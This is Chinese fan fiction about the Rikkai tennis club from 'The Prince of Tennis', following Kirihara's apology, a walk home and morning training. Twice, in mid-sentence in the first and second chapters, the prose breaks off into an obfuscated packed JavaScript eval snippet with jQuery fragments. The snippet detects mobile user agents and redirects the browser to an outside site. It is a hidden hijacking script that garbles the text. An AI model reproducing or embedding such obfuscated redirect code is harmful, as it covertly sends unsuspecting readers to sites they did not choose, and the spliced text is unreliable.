《了不起的幸村君》 1. 神秘来信 傍晚的立海大网球部活动室沉浸在一片温暖的橘色光线中。部活结束后的宁静与白天热火朝天的训练形成鲜明对比——今天的训练格外严苛,大家都有些吃不消。 切原赤也站在活动室门口,手指无意识地揪着运动服下摆,海藻般的卷发比平时更加凌乱。他深吸一口气,又再深吸一口气,还是没能下定决心迈入部活室。 “快点进来啦,切原!”丸井文太从后面轻轻推了他一把,自己也是气喘吁吁,“今天幸村的训练菜单也太可怕了,绝对是心情不好!再磨蹭下去,幸村回来发现我们鬼鬼祟祟的站在门口不就更糟了!” “但、但是丸井前辈,幸村部长为什么心情不好啊?”切原紧张地问,绿色的眼睛里写满不安。 “谁知道呢!”丸井吹了个泡泡,但泡泡很快疲软地破掉了——他连吹泡泡的力气都不太够了,“总之今天训练时幸村虽然没有黑脸,但比真田的黑脸可怕多了!趁幸村刚刚削完副部长心情恢复了点,赶紧道歉完事!要是明天幸村还是心情不好,说不定你的入部申请就直接被驳回了!” 胡狼桑原擦着汗走过来,棕色皮肤上满是汗珠:“丸井说得对,今天确实不太寻常。连柳和真田都多看了幸村好几眼,可能真有什么事。” “你们都知道部长心情不好,为什么还非要拽着我啊。”被丸井拽过来的仁王雅治银色小辫子也有些凌乱。 他话是这么说,但人一点走的意思也没有,摆出一幅唯恐天下不乱的架势。 “瞧你这话说的,狐狸,”丸井开朗地为在场所有人解释他的理论,“当然是以防只有我一个人被幸村讨厌啊。” 桑原侧目,难道自己就不是人吗? “你说的对,”仁王懒洋洋地说,“所以我又绑架了比吕士。毕竟多一个人,平均每人承受的怒火就少一点,简单的数学问题,puri。” “仁王君,用词请准确。”柳生推了推眼镜,“我是自愿前来的。” 丸井挥挥手,突然压低声音,“等等,我好像听到了脚步声——” 所有人瞬间屏住呼吸,连切原都下意识地躲到了门后。几秒钟后,才发现只是风吹动走廊窗户的声音。 “呼——”丸井夸张地拍了拍胸口,“吓死我了。说起来,为什么我们要像做贼一样啊?” “因为我们在未经允许的情况下,在正选会议期间停留在部长专属的活动室?”柳生平静地指出事实。 “这是为了切原的网球生涯!”丸井义正言辞,然后转向切原,“对了,你想好怎么道歉了吗?可不能像上次那样叫嚣‘击溃三巨头’或者‘立海大除了正选都是弱旅’那种胡话了啊。” 切原想到了自己开学第一天就把网球部搅得人仰马翻,脸红了红:“我、我知道错了。我会认真道歉,然后请求重新考虑我的入部申请。” “态度不错。”仁王不知何时已经溜达到幸村的桌子旁,他歪着头观察桌面,“部长的桌子永远这么整齐,连便签都按颜色分类排列。咦?那是什么?” 所有人的目光瞬间聚焦在桌面上一封显然已经被拆开过的信件上。 丸井已经凑了过去:“是信啦信!哇,这个信封好精致!” 所有人的目光都聚焦过去。 精致的白色信封,边缘点缀着草绿色的烫金纹路,封口处已经打开,可以隐约看到里面信纸的折痕。 “这该不会是……”丸井的眼睛突然睁大,“情书吧?” “在幸村部长的桌上发现情书并不奇怪,”柳生推了推眼镜,“根据校园匿名论坛统计,幸村部长收到的情书数量在本学年一直位居榜首。” “puri,我居然不是第一?”仁王假装受伤地捂住胸口。 众人纷纷对仁王的厚脸皮表示叹服。 “重点不是这个吧!”切原难得地插话,他好奇地盯着那封信,但脚像钉在原地一样不敢靠近,“部长这样的人...也会收到情书吗?” 丸井翻了个白眼:“切原,不要怀疑我们立海大的美化委员大人,美化校园不是说着玩的。你是没看到情人节那天幸村柜子的盛况。” “我们还是不要讨论这个话题了,”胡狼咳嗽一声,“毕竟这是部长的私人物品。” 但他的劝阻显然没起到多大作用,十来岁的少年,正是好奇心旺盛的年纪,依旧围着那封被拆开过的信,心里蠢蠢欲动、百爪挠心。 柳生不知何时已经调整了站姿,只见他不知从何处(大概是网球裤的口袋里)掏出了一副纯白手套——天知道他为什么要在网球裤的口袋里放这种东西。 他慢条斯理地戴上,微微侧身,单手插在西裤口袋里,另一只手抬起,食指与拇指轻托下巴,眼镜片在夕阳下反射出过于刻意的光芒。 “柳生前辈......”切原眨了眨眼。 “根据我多年的推理小说阅读经验,”柳生声音里带着一种刻意营造的低沉:“这种纸张的色泽和质地,显然不是日本本土的产物。” 仁王挑眉,很配合地拉长声音:“哦?难道是——传说中的初中生侦探柳生比吕士要开始推理了?” “正是。”柳生推了推眼镜,用那种明显模仿某位名侦探的语调开口,“诸位请看,这信封的纸张质地。” 他戴着手套的食指在空中虚点,仿佛在引导众人视线:“这种纸的厚度在0.15毫米左右,表面经过特殊压光处理,在光线下会呈现出极细微的珍珠光泽。这并非日本常见的和纸或洋纸,而是英国特产的查特斯手工纸,原料中加入了少量棉麻纤维,因此触感格外柔韧。” 切原听得云里雾里:“查、查特斯……那是什么?” 丸井小声吐槽:“就是高级纸啦,你别打断柳生。” “所以!”柳生突然提高音量,做了一个戏剧性的停顿,然后竖起一根手指,“经过以上严密的逻辑推理,我得出的结论是——” 所有人都屏住呼吸。 “——这封信,来自英国。”他郑重宣布,推了推眼镜,“极大概率,是从伦敦寄出的。” 活动室里安静了两秒。 然后丸井文太一巴掌拍在自己额头上,发出清脆的响声。 “柳生比吕士!”丸井大步走到他面前,伸手指向信件右下角的花体字:“那么大的‘London, UK’!你是当我们都瞎吗?!” 切原看向丸井手指的方向,浆糊一样的大脑开始启动,London,好熟悉的词语,啥意思来着。 “笨蛋,是伦敦啊伦敦!”听到切原喃喃自语的丸井抓狂,“你是怎么考进立海大的啊!” 柳生推眼镜的动作微妙地僵硬了下,但立刻恢复镇定,一本正经:“丸井君,这正是推理的有趣之处——有时候最明显的线索,反而需要经过复杂的逻辑推演才能被看见’.....” “你就是直接看到了地址然后瞎编了一堆吧!”丸井毫不留情地戳穿。 仁王在旁边已经笑得肩膀抖动个不停:“puri,被拆穿了啊,比吕士,演技有待提高啊。” 确认了信件来自英国后,少年们的好奇心不仅没有消退,反而更加旺盛了。 “所以到底会是什么内容呢?”丸井摸着下巴,“如果是情书的话...从英国寄来的情书?幸村有认识的人在英国吗?” 切原眼睛一亮:“会不会是网球相关的?比如英国某个网球俱乐部发来的邀请函!” “英国网球俱乐部为什么要给一个日本中学生发邀请函?”仁王挑眉。 “因、因为部长很强啊!”切原理直气壮地说。 “puri,我倒是有一个想法。”仁王嘴角勾起神秘的笑容,“说不定是幸村在英国有亲戚,寄来的家书。” “家书会用这么正式的信封吗?”胡狼疑惑道。 “如果是有钱人家的家书就有可能。”柳生再次推了推眼镜,这次没有刻意模仿侦探,而是认真分析,“这种纸张和工艺确实价值不菲,一般家庭不会用于日常通信。更何况现在也基本上没什么人写信了吧。” 切原突然想到什么,脸色变得有点紧张:“那个...会不会是...挑战书?” “挑战书?”众人看向他。 “就是...英国那边的网球高手,听说了立海大部长的名号,所以发来的挑战书!”切原越说越兴奋,“就像jump里那样!跨国的网球对决!” 丸井拍了拍他的肩:“切原,少看点漫画。” “但也不是完全没可能。”仁王若有所思,“幸村的实力确实有可能引起关注...不过更可能是网球学校的招募信之类的。之前听幸村说过,国中前就收到过好几家网球学校的邀请。” 胡狼提出一个朴实的猜想:“会不会只是普通的国际笔友信件?幸村部长看起来就像是会有海外笔友的人。” 全场寂静。 “槽点太多了好吗?什么叫‘看上去就像有海外笔友的人啊’。” “哈、哈、哈、”丸井勉强的为搭档挽尊,“是个不错的冷笑话呢。” 看到桑原幽怨的眼神,丸井立刻换上轻松的语气,“本天才知道了!肯定是我想的那种——粉丝从海外寄来的崇拜信!” “用这么贵的信纸写粉丝信?”侦探柳生怀疑。 “有钱的粉丝不行吗!”丸井反驳。 “其实,”仁王银色眼眸中闪过一丝狡黠,“还有一个可能性...” “什么?”众人看向他。 “也许信里根本没什么特别的内容,”仁王慢悠悠地说,“只是我们因为好奇而过度想象了。说不定就是一封普通的问候信,但因为来自英国,加上信封很精致,就显得神秘了。” “那也太无聊了吧!”丸井抗议。 “但最有可能的就是无聊的真相,puri。” 就在这时,走廊远处传来了清晰的脚步声和交谈声——这次是真的了。 “糟了糟了!回来了!”丸井脸色一变,“快快快,站好站好!切原你站在最前面,态度要诚恳!” 五个少年手忙脚乱地排成一排,切原被推到最前面,紧张得手指都在颤抖。所有关于信件的猜测瞬间被抛到脑后。 活动室的门被推开。 最先进入的是真田弦一郎,黑色帽檐下的眉头在看到室内情形时立刻皱了起来:“你们在这里做什么?” 紧接着是柳莲二,他的眼睛微微睁开一条缝,手中的笔记本已经翻开。 最后,幸村精市走了进来。 紫色的眼眸扫过面前的五个少年,然后在那封被匆忙搁置在桌面的信件上停留了短暂的一瞬,最后落在切原身上。 空气几乎凝固了。 “部、部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013147|194148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长!”切原猛地鞠躬,头低得几乎要碰到膝盖,“非常抱歉我之前对网球部的不敬言论!非常抱歉之前对网球部的挑衅!我、我认真反省了!请求您允许我重新提交入部申请!我会遵守部规,认真训练,再也不说那些狂妄的话了!” 他一口气说完,脸已经涨得通红,保持着鞠躬姿势不敢抬头。 柳和真田对视一眼,两人眼观鼻鼻观心,在这件事情上,能做主的只有幸村精市。 幸村没有立刻回答,只是缓步走到自己的桌前。 活动室里的空气安静得能听到窗外樱花飘落的声音。 终于,幸村转过身,面向依然保持鞠躬姿势的切原。 “抬起头来,切原。” 切原战战兢兢直起身,脸色发白,绿色的眼睛里写满了不安。 幸村看着他,紫色的眼睛里看不出情绪:“挑衅前辈,质疑网球部的实力,确实是不应该的行为。” 切原的心沉了下去。 “但是,”幸村的话锋一转,“知道自己错了,并且有勇气再次站在这里请求机会......这份心意,我收到了。” “部、部长......”切原的眼睛亮了起来。 “你的入部申请,我同意了。” “真的吗?!谢谢部长!我一定——” “——但是,”幸村温和地打断他的欢呼,但声音里突然多了几分让切原背脊发凉的东西,“作为对之前行为的惩罚,从明天开始,你的训练菜单需要调整。” 切原咽了口口水,用力点头:“是!什么样的训练我都接受!” 幸村露出一个和善的微笑,那笑容美得惊心动魄,却也危险得让丸井和仁王交换了一个同情的眼神。 “很好。那么从明天起,你的训练量将按照正选标准执行。” “......诶?!!!” 切原的惨叫在活动室里回荡。丸井同情地拍了拍他的肩,仁王吹了声口哨,胡狼摇了摇头,柳生则推了推眼镜,镜片后闪过一丝笑意。 “我希望你记住,立海大强者为尊,只要你实力充足,你随时可以向任何人提出挑战。但——这并不意味着你有资格挑衅任何一名部员。”幸村正色,“正选也好,非正选也好;高年级也好,低年级也罢,尊重永远是相互的。王者立海,不允许相互挑衅。” 真田在一旁沉声补充:“我会亲自监督,切原。若有懈怠,加倍训练。” “我、我会努力的!”切原立正站好,虽然腿已经开始发软。 幸村点点头,目光再次扫过桌上的信,然后转向众人:“那么,今天就到这里吧。切原,记得明天准时参加部活。” “是!” 解决完切原的事情,幸村的眼神扫过其他四位无关人士。 “啊哈哈哈,杰克,我突然觉得我今天的训练量还不够。”被幸村的眼神扫过,丸井体现出了截击天才的超级反应力。 “说的对,文太,我觉得我们还需要更多的训练。”桑原配合。 “……puri,我的体能还有进步空间。” 柳生镜片下的眼睛环视了周围一秒变怂的小伙伴们,开口:“那我们继续去训练了,幸村君。” 五个少年几乎是逃也似的离开了活动室。门关上的瞬间,切原靠在走廊墙上,长长地松了口气。 “活、活下来了......” 丸井吹了个泡泡:“不过接下来你要惨了,正选的训练量啊......想想我都替你腿软。” “但幸村部长同意我入部了!”切原的眼睛重新燃起火焰,“训练什么的,我一定会坚持下来的!” 柳生恢复了平时的绅士模样:“无论如何,今天的主要目标已经达成。恭喜你,切原君。” “谢、谢谢前辈们帮忙!”切原认真鞠躬。 胡狼笑着摇头:“好了,你回去吧。明天还要训练呢。” “诶,”切原惊讶,“前辈们不回去吗?” 丸井的语气里满是后悔:“我就不该说什么训练量不够……现在好了,真要去加练了。” “笨太就是嘴比脑子快,”仁王懒洋洋地接话:“现在说这个晚了。而且——”他瞥了眼身后紧闭的活动室门,“你觉得幸村会相信我们只是说说而已吗?” “不会。”柳生推了推眼镜,冷静地分析,“以幸村部长的观察力,如果我们没有出现在球场,明天可能就不是训练量增加的问题了。” 所有人齐齐打了个寒颤。 桑原叹了口气:“所以我们必须去。” “但是去干什么啊?”丸井哀嚎,“我现在连球拍都举不起来了!” “刚才第一个提议加练的可是你啊,文太。”桑原无奈地提醒。 “我那是权宜之计!是战略性撤退!” “puri,现在变成战略性自杀了。” 走廊尽头,夕阳已经完全沉没,天空染上了深蓝色。少年们的影子在灯光下拉长又缩短,拌嘴和哀叹声渐渐远去,最终融入了通往球场的夜色之中。 活动室窗前,幸村精市的收回视线,微垂的眼眸里看不清情绪。真田与柳静立在他身后,两人无声地交换了眼神。 “嘛,开始整理新的训练菜单吧,工程量可不小呢。” “嗯,加油。” “不要松懈!” 2. 放学路上 月亮从相模湾的海平面缓缓升起时,立海大网球部活动室的灯光终于熄灭了。 幸村合上最后一页训练草案,紫罗兰色的眼睛里映着窗外渐浓的夜色。真田将帽子重新戴正,动作一丝不苟。柳收起笔记本电脑,屏幕上密密麻麻的数据表格一闪而灭。 三人默契地起身,关灯,锁门。 走廊里的感应灯随着他们的脚步声次第亮起,又在身后熄灭。月光透过走廊尽头的窗户洒进来,在地板上铺开一片银白。 “今晚月色很美。”柳忽然说,声音在空旷的走廊里显得格外清晰。 真田的脚步几不可察地顿了一下,这段日本人都不陌生的话出现在这个场景突然显得有那么点的诡异。 幸村目光投向窗外,自然接话:“确实呢,这样的月光,我都想在球场上多待一会儿。” “你今天的训练量已经超标了,幸村。”真田干巴巴的回复。 柳的眼睛微微弯起,那是他极少显露的、带着些许恶趣味的弧度。 他当然知道那句话的弦外之音,也知道真田会怎么想。但数据网球的天才,偶尔也想收集一下副部长罕见的情绪波动数据。 “海月澄如练,樱散夜未央。”他缓缓吟出标准的五七五俳句,才回归平日的语调,“另外,满月时的夜间能见度比新月时高出约87.3%。” 真田的帽檐压得更低了。那句“月色很美”果然只是一句普通的感叹吗?自己刚才那一瞬间的联想简直……太松懈了。他在心里严厉检讨,耳根却在阴影里微微发烫。 “弦一郎?”幸村的声音带着笑意,瞥了眼他那即使在夜色中也端正得一丝不苟的帽子,“怎么不说话了?该不会是在想什么风雅的事吧?话说回来,晚上也戴得这么端正,不觉得妨碍视线么?” “……没有,习惯了。”真田硬邦邦地回答,手指无意识地摩挲了一下网球包的背带,“只是觉得,无论月光多美,训练都不该松懈。” 幸村眉眼弯弯,没再继续逗他。 三人走出教学楼。四月的满月悬在海天交界,将海湾染成银粼粼的光带。月光漫过校园,给网球场深绿色的地面镀上柔和的银边。夜晚的空气里带着海风的咸涩和樱瓣的甜香。 路过第三球场时,三人的脚步不约而同地慢了下来。 球场上还有人。 切原赤也正对着发球机挥拍,动作已经明显变形,每一次击球后身体都会踉跄一下。丸井文太瘫坐在场边,连吹泡泡的力气都没有了,只是仰头看着夜空喘气。仁王雅治靠在铁丝网上,银色的小辫子散了半边,平时狡黠的眼睛此刻只剩下疲惫。柳生比吕士还在坚持对墙击球,但推眼镜的频率显示他的专注力正在耗尽。桑原杰克则在默默收拾散落一地的网球,每弯一次腰都要停顿好几秒。 月光洒在他们汗湿的背上,将影子拉得很长。 柳看了眼腕表,“从我们离开活动室步行至此,耗时4分38秒。结合他们开始加练的时间点计算,已经持续训练了七十二分钟十五秒。” 真田的眉头皱了起来,但没说话。 幸村静静看着。月光下,切原又一次发球失误,球撞在网带上弹回来。少年懊恼地抓了抓湿漉漉的海藻头,却立刻弯腰捡起下一颗球,重新摆好姿势。那份精疲力竭下的坚持,在月光中格外清晰。 “他们其实没意识到你是在开玩笑吧?”柳的声音很轻。 幸村嘴角扬起一个极淡的弧度,月光在他侧脸上投下柔和的阴影。 “谁知道呢。” 也许是当真了。也许只是借着这个由头,想在月光下多挥几次拍。在立海大,在这个天才云集的网球部里,所有与网球相关的事,都会被认真对待。 自从十四年前立海大男子网球部捧起关东奖杯以来,这片球场,白天承载着严格的训练和激烈的对决,夜晚也收容着少年们最纯粹的坚持。 十四年的连战皆捷,靠的可不是口头的努力,而是一代又一代的少年们挥洒的汗水。 “走吧。”幸村转身,“别打扰他们。” 真田最后看了一眼球场,帽檐下的表情在月光中难以辨认。但他什么也没说,只是跟上了幸村的步伐。 柳则站在原地多记录了几秒数据,才快步跟上。 三人并肩走出校门,月光将他们的影子投在石板路上,拉成三道长长的、并肩前行的剪影。 沿着坡道向上走时,海风从相模湾吹来,带着夜晚特有的凉意。路旁的樱树在月光下静立,残存的花瓣偶尔飘落。 “你很看好他们。”真田忽然开口,打破了宁静。 “是。”幸村没有否认。 “县大赛就要开始了,我们本来就需要新的正选。”柳接话道,语气平静,“空缺的位置,必须用实力填补。” “去年的全国大赛,我们在双打上吃了大亏。关西的强校,在双打方面确实很有一套。”月光清晰地勾勒出幸村侧脸轮廓:“如果今年关西还有全国级的双打,单靠柊前辈和椿前辈的双打组合我们还是很吃力。” 柳也跟着点头,他想起了去年在全国大赛总决赛上牧之藤的陆奥兄弟,狮子乐的九州双雄——无一不是集天赋和默契于一身的双打组合。相对应的,立海大的柊慎之介和椿宗一郎的组合作为双打一就显得有些比上不足了。 并不是说他们不努力或者不默契,但对于竞技运动而言,天赋真是一件相当残忍的事情。 “运动竞技就是这么残酷啊,”柳微微叹息,“有时候凡人不懈的努力,也比不过天才灵光一现的瞬间。” 柊慎之介和椿宗一郎,在天赋不突出的情况下,靠着努力和默契,打出了如今的水准,已经十分令人叹服了。 说完,柳莲二摇摇头,打断自己的伤春悲秋:“说起来,丸井和桑原的组合,目前看是最成熟稳定的,两个人去年也都是准正选,实力不弱,入选概率很高。你是还想在这基础上,再配一组双打吗?” “是的”,幸村的声音在夜风中很清晰,“如果仁王能靠单打实力打进正选……我想让他尝试组一组新的双打。他的应变能力和创造性,或许能打开不一样的局面。” 柳微微睁眼:“和我搭档?” “和真田。”幸村看向身旁的副部长,“单打线上,有我和毛利前辈,已经足够。我希望真田能在双打上也开发出新的可能性,到时候立海大的阵容深度会完全不同。” 他顿了顿,语气温和却坚定,“当然,这一切的前提是,仁王必须先凭自己的球拍,拿到正选的资格。” 真田的嘴角抿紧,似乎在消化这个提议。 “……如果这是必要的战术准备,”他终于沉声开口,每个字都像敲在石板上,“我会认真对待。” 柳合上不知何时又摊开的笔记本,“但一切取决于选拔赛的结果。” “没错。”幸村微笑,那笑容在月光下显得清透而笃定,“所以,县大会是我们练兵和试验的好机会。在那之前,选拔赛要提上日程了。” “赛制和分组我都已经做好了,”柳莲二颔首,“明天就开始?” “会不会有点仓促?”真田压了压帽檐。 “不会,”幸村思忖片刻,“今年县大会比较早,选拔赛之后估计还要重新采购一批物资,中间好像还有个家长开放日,不知道学校会不会要求社团参加,选拔赛开始的太晚后面的安排就太匆忙了。到时候我和莲二去,部里就交给你了,真田。” “采购清单和性能对比数据,我会提前准备好。”柳立刻进入工作状态。 “辛苦你们了。” …… 三人聊着训练菜单的调整、县大赛的备战、新人培养的计划。 月光如水,海潮声隐隐传来。 走到一个岔路口时,柳停下脚步。 “那么,我先告辞了。”他指向东侧,微微颔首:“训练表我会在今晚最终确认。考虑到某些人的额外消耗……明天的菜单我会重新进行调整。” 柳的背影很快融入月色中,幸村和真田继续向上走。 坡道渐陡,但两人的步伐依然平稳,长期的训练让这样的上坡路变得轻松。真田调整了一下网球包的背带,动作干脆利落。 “刚刚那句话是什么意思?”送走了柳,真田开口,月光下他的表情比平时更显严肃,“你希望我和仁王组成固定双打?” “暂时是的。”幸村承认,没有回避他的目光。 两人陷入短暂的沉默。 月光洒在石板路上,将每一块石头的纹理都照得清晰。远处,相模湾的海面泛着银粼粼的光,潮声一阵一阵,像某种深长的呼吸。 “我没有和除你之外的人组过双打。”沉默良久,真田开口,声音里有一丝不易察觉的僵硬。这对他而言是个陌生的领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013148|194148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 域,甚至可以说,是他不太愿意触碰的领域。 “是啊,你可是部里出名的双打黑洞呢。”幸村莞尔,语气里带着点促狭,“喜欢抢球、习惯覆盖全场、把搭档当背景板的弦一郎君。” 真田的嘴角几不可察地抽动了一下,帽檐下的耳朵微微发烫。 “莲二的数据网球能让他快速适应任何搭档,这本是双打的优势。”幸村的声音在夜色中清晰而平稳,“但或许正因算得太清,他现在习惯配合多于主导,这不好。” 他顿了顿,望向远处月色中的校园灯塔,温暖的光在长夜里静默闪烁。 柳莲二加入网球部,本是为了探索自己作为单打选手的可能性。可过去一年,或是出于球队需要,或是他理性使然,太多精力投在了训练统筹、数据整理这些事务上。进步固然有,但若论球技本身的突破—— 柳的脚步,确实慢了。 更关键的是,他似乎也默许了这种慢。 自去年关东大赛后,柳莲二不再执着单打的位置;全国夺冠以来,柳莲二的重心更是明显倾向于团队运作。 而那份对自己单打实力磨砺的执着,反而淡了。 “关东大赛前,”幸村收回目光,语气静定却不容置疑,“我想推他一把。让他以单打的身份,去突破那些被数据和习惯框住的界限。他有这份潜力,不该被适合双打的标签困住。” 真田沉默片刻,帽檐下的目光沉凝而了然。 “明白了。”他沉声应道。 “况且,”幸村的话锋一转,声音里透出部长特有的、不容置疑的冷静,“你的双打水准,实在不像样子。立海大的副部长,不可以是一个双打白痴。立海大毫无死角,这不仅是个人技术问题,必须补上。” 真田:“……” “仁王是左利手,节奏感和预判能力都很特别,天生适合在双打中制造变数。”幸村继续道,仿佛没看到真田瞬间僵硬的侧脸,“看看他能不能……嗯,拯救一下你那惨不忍睹的双打意识吧。这也是对他能力的另一种考验。” 真田沉默地消化着这一连串的无情评价。 海风吹过,带来一丝凉意。许久,他才从喉间挤出一个沉闷的音节:“……我知道了。” 他会把这当作必须完成的任务。为了立海大的胜利,也为了……洗刷双打黑洞的耻辱。 ……虽然和仁王雅治这种天天被风纪部盯上的家伙搭档……光想想就觉得画面诡异。 幸村看着他一脸凝重、如临大敌的模样,眼底深处掠过一丝极淡的笑意。 月光柔和地洒在两人身上,将他们的影子拉长,在这条通往各自家的坡道上,短暂地交织在一起。 他们又走到了一个岔路口。这里距离幸村家已经很近,坡道在这里分岔,一条继续向上通往幸村家的白色新式别墅,另一条则蜿蜒向下,通往真田家所在的传统日式住宅区。 “就到这里吧。”幸村停下脚步。 真田也站定,两人面对面站在月光下的岔路口。这个场景他们经历过无数次——部活结束后的分道扬镳,比赛胜利后的各自归家,训练加练后的深夜告别。但今晚的月光格外明亮,将一切都照得清晰无比。 “精市。”真田忽然开口,叫了他的名字而非姓氏。这在两人独处时并不常见,至少在真田上国中之后就很少这么称呼幸村了。“你今天……是不是有什么心事?” “为什么这么问?” “训练时的安排比平时更严苛,对部员的观察时间比平时更长。”真田的话语简洁直接。 幸村哑然,“抱歉,让你们担心了,我会调整好自己的。” “我知道你心里有事情,”真田压了压帽檐,难得的有些别扭,“你不想说,我就不会问,但如果你想说……你可以相信我。” 月光下,幸村鸢紫色的眼睛注视着幼驯染。真田弦一郎,这个外表严肃、作风古板、开口闭口“不要松懈”的少年,其实有着超乎寻常的细腻。 幸村静默了片刻,认真回答。 “我之前在面临一些选择。” “之前?” “因为现在已经做好决定了。”幸村如释重负地笑了。 真田什么也没问,就像他一直表现出来的那样可靠,“那就好,不要松懈。” “当然。”幸村说,“那么明天见?” “明天见。” 3. 晨训 六点五十分,相模湾的雾气还未散尽,咸湿的海风裹着晨意,拂过立海大网球部八个整齐划一的球场。 击球声如密集的鼓点,填满了这片空间。在这个大多数中学生仍在梦乡的时间,立海大的部员们早已完成了堪称严苛的热身,投入到正式训练之中。 一号场上,幸村精市正同时应对两名二年级部员的攻势。雾岛的上旋球势大力沉,藤原的侧旋切球角度刁钻,两颗网球从左右两个不同的角度轰来。 晨光微熹中,幸村的步伐轻盈得仿佛未沾尘埃。向左滑步,反手轻挡,卸去力道;随即右脚蹬地,身体如拉满的弓弦般向右舒展,正手抽击,一气呵成。整个过程行云流水,仿佛球的轨迹、对手的意图,皆在他眼中提前铺展。 紫色的发梢已被汗水浸透,晶莹的汗珠沿着下颌线滚落,但幸村的呼吸节奏依然稳定得可怕,眼神清明专注。反观对面两名二年级生,尽管是二对一,却已显狼狈,衣衫尽湿,胸膛剧烈起伏,每一次救球都越发吃力,脚步越发迟滞。 “雾岛君,”幸村在回击间隙开口,声音平稳,晨光将他侧脸的轮廓镀上一层柔和的淡金,“注意你的拍面。” 话音未落,他手腕轻松一翻,一记精妙的反手小球已轻盈越过球网,带着细微的下旋,落在左半场发球线内。 雾岛慌忙冲刺上网,球拍却只来得及擦到球的边缘,回球高高飘起。而在另一个半场的藤原,在幸村出声的瞬间,注意力不由自主地被分散,脚下那半拍的犹豫,让他也错过了补位的最佳时机。 去年夏天,在幸村的带领下,立海大男子网球部时隔多年终于重新捧回全国大赛冠军奖杯。荣耀加身,亦意味着更大的压力。如今卫冕之路已然开启,训练强度与选拔标准,自然比以往更加严苛,近乎残酷。 今年国一有上百名新生怀揣梦想申请入部,但过去不到一个月,能留到现在的不过三十余人。优胜劣汰,在这里体现得淋漓尽致。雾岛和藤原都是立海大国中二年级的学生,在这个以训练严苛、几乎全年无休而闻名的社团里,能坚持到第二年,即便还不是正选,实力与心性也绝不容小觑。 但此刻,这两名二年级生撑着膝盖,大口喘气,几乎直不起腰。 ——不是他们太弱,是对面那个人,太强了。那种全方位的压制,足以碾碎大多数人的信心。 “休息三分钟,补充水分。”幸村随手拿起搭在教练椅上的白毛巾,轻轻拭去颈间的汗珠,语气并无波澜,“小林君,高桥君,下一组准备。” 说完,他没有停留,转身开始巡视整个球场,目光如平静的湖面,却深不见底。 真田弦一郎如铁塔般矗立在球场一侧阴影与光明的交界处,已经完成了自己全部的晨练项目。帽檐压低,遮住了上半张脸,但那股锐利如刀的目光,仍能让人感到实质般的压力,沉默地监督着场上每一处细节,任何一丝懈怠都无所遁形。 幸村用毛巾轻按额角,目光首先落在三年级的正选组合柊慎之介与椿宗一郎身上。这对搭档正在进行底线对拉练习,动作规范,配合默契,每一板都扎实稳健。 非常稳定的双打搭档,但稳得缺乏破局的锐气,缺乏在绝境中撕开对手防线的獠牙。 幸村想起去年全国大赛上,立海大在双打线上吃尽的苦头。关西那些豪强的双打组合,牧之藤的陆奥兄弟、狮子乐的九州双雄,每一对都是天赋与默契淬炼出的利刃,进攻如水银泻地,防守似铜墙铁壁。 尤其是面对卫冕王者牧之藤的那场恶战,立海大的双打组合输得堪称惨烈。与陆奥悠步、陆奥悠马那对心灵相通的双胞胎一战过后,原本的双打一搭档信心彻底崩塌,最终黯然退部。若非毛利寿三郎那位平日里总显得散漫不羁的前辈,在单打二扛住山崩般的压力,将比赛拖入最后的决胜局,立海大的冠军之路恐怕早已中断。 关西的老牌豪强,在双打体系的构建、搭档的培养上,确有独到而深厚的底蕴。 顶尖的双打,需要的不只是两个人的才能,更是精心的雕琢、战术的沉淀,以及教练深谋远虑的布局。纵观关东,能在双打领域与关西名校一较高下的,恐怕唯有东京的山吹中学——那位伴田教练的老辣眼光与调教手腕,确实令人叹服。 而立海大附中,在这方面先天便有些不足。作为一所学术要求极为严格的升学名校,立海大固然鼓励学生参与社团,但培养的重心始终偏向学业。即便是设有体育特长生通道的高中部,选拔和培养也多以单打能力突出的选手为目标。 幸村视线微移,看向另一片场地上正在练习网前截击与底线防守的丸井文太和胡狼桑原。 丸井吹破一个泡泡,灵巧的网前截击在晨光中划出变幻莫测的轨迹;桑原古铜色的皮肤上滚动着汗珠,底线跑动与防守依然稳固如磐石,救起一个个看似不可能的球。 这是一对天然互补的搭档,但短板也同样鲜明。 丸井卓越的网前技术与天马行空的想象力,但他的耐力恰恰是弱项;桑原的防守固若金汤,但网前技术相对粗糙。 更关键的是,他们似乎已经形成了某种固化的模式:丸井永远在前场主攻,桑原永远在后场防守。这种明确的分工在多数情况下运转良好,可一旦遭遇擅长调动、节奏变化多端的对手,在交叉换位、补防漏洞时,总会出现那细微却致命的迟滞,站位转换缺乏现代顶尖双打所必需的模糊性。 如果倒回上个世纪,这种明确的分工或许能成就一代佳话,但在现代网球体系,尤其是双打战术快速演进的今天,分工过于明确、缺乏位置流动性的组合,极易被聪明的对手通过大角度拉扯、节奏突变换,撕裂出防守的空当。 现代网球越来越强调发球与接发球的侵略性。碳纤维球拍与聚酯线的普及,极大降低了网前技术的门槛,却赋予了击球更强烈的旋转与速度。因此,从职业赛场到顶尖青少年赛事,双打战术日益趋向于更具压迫性的双上网战术。 双上网能最大限度地压缩对手的回球角度,封堵网前,创造出更大的进攻空间和容错率。 丸井和桑原过于鲜明的技术特点与相对固定的站位,与这一趋势并非完全契合。他们需要进化,需要打破一些固有的舒适区。 而说到双上网——幸村的目光掠过正在角落进行挥拍练习的柳生比吕士。 